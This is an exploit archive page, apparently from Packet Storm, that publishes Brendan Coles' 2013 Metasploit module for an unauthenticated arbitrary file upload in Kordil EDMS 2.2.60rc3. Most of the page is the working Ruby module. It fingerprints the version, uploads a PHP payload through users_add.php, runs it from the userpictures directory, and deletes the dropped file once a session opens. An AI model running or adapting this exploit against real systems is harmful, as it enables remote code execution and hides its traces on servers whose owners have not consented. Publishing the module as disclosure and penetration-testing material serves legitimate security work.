seeing is believing

Kordil EDMS 2.2.60rc3 Arbitrary File Upload

Kordil EDMS 2.2.60rc3 Arbitrary File Upload
Posted Feb 25, 2013
Authored by Brendan Coles | Site metasploit.com

This Metasploit module exploits a vulnerability in Kordil EDMS version 2.2.60rc3. This application has an upload feature that allows an unauthenticated user to upload arbitrary files to the '/kordil_edms/userpictures/' directory.

tags | exploit, arbitrary
MD5 | 33ad49a9cc2ea906a39ccf8cd2cbeb28

Kordil EDMS 2.2.60rc3 Arbitrary File Upload

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Kordil EDMS v2.2.60rc3.
This application has an upload feature that allows an unauthenticated user
to upload arbitrary files to the '/kordil_edms/userpictures/' directory.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
],
'References' =>
[
#['OSVDB', ''],
#['EDB', ''],
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => false,
'DisclosureDate' => "Feb 22 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/kordil_edms/']),
], self.class)
end

def check

base = target_uri.path
peer = "#{rhost}:#{rport}"

# retrieve software version from login page
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, 'global_group_login.php')
})
if res and res.code == 200
if res.body =~ /<center><font face="Arial" size="2">Kordil EDMS v2\.2\.60/
return Exploit::CheckCode::Vulnerable
elsif res.body =~ /Kordil EDMS v/
return Exploit::CheckCode::Detected
end
end
return Exploit::CheckCode::Safe
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Connection failed")
end
return Exploit::CheckCode::Unknown

end

def upload(base, file)
data = Rex::MIME::Message.new
data.add_part(file, 'text/x-php', nil, "form-data; name=\"upload_fd31\"; filename=\"#{@fname}.php\"")
data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd0"')
data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd27"')
data.add_part("n", nil, nil, 'form-data; name="act"')
data_post = data.to_s
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'users_add.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post
})
return res
end

def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
client.fs.file.rm("#{@fname}.php")
else
client.shell_command_token("rm #{@fname}.php")
end
end


def exploit

base = target_uri.path
@peer = "#{rhost}:#{rport}"
@fname = rand_text_numeric(7)

# upload PHP payload to userpictures/[fname].php
print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
php = %Q|<?php #{payload.encoded} ?>|
begin
res = upload(base, php)
if res and res.code == 302 and res.headers['Location'] =~ /\.\/user_account\.php\?/
print_good("#{@peer} - File uploaded successfully")
else
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
end

# retrieve and execute PHP payload
print_status("#{@peer} - Executing payload (userpictures/#{@fname}.php)")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, 'userpictures', "#{@fname}.php")
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
end

end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    2 Files
  • 24
    Jul 24th
    19 Files
  • 25
    Jul 25th
    28 Files
  • 26
    Jul 26th
    2 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close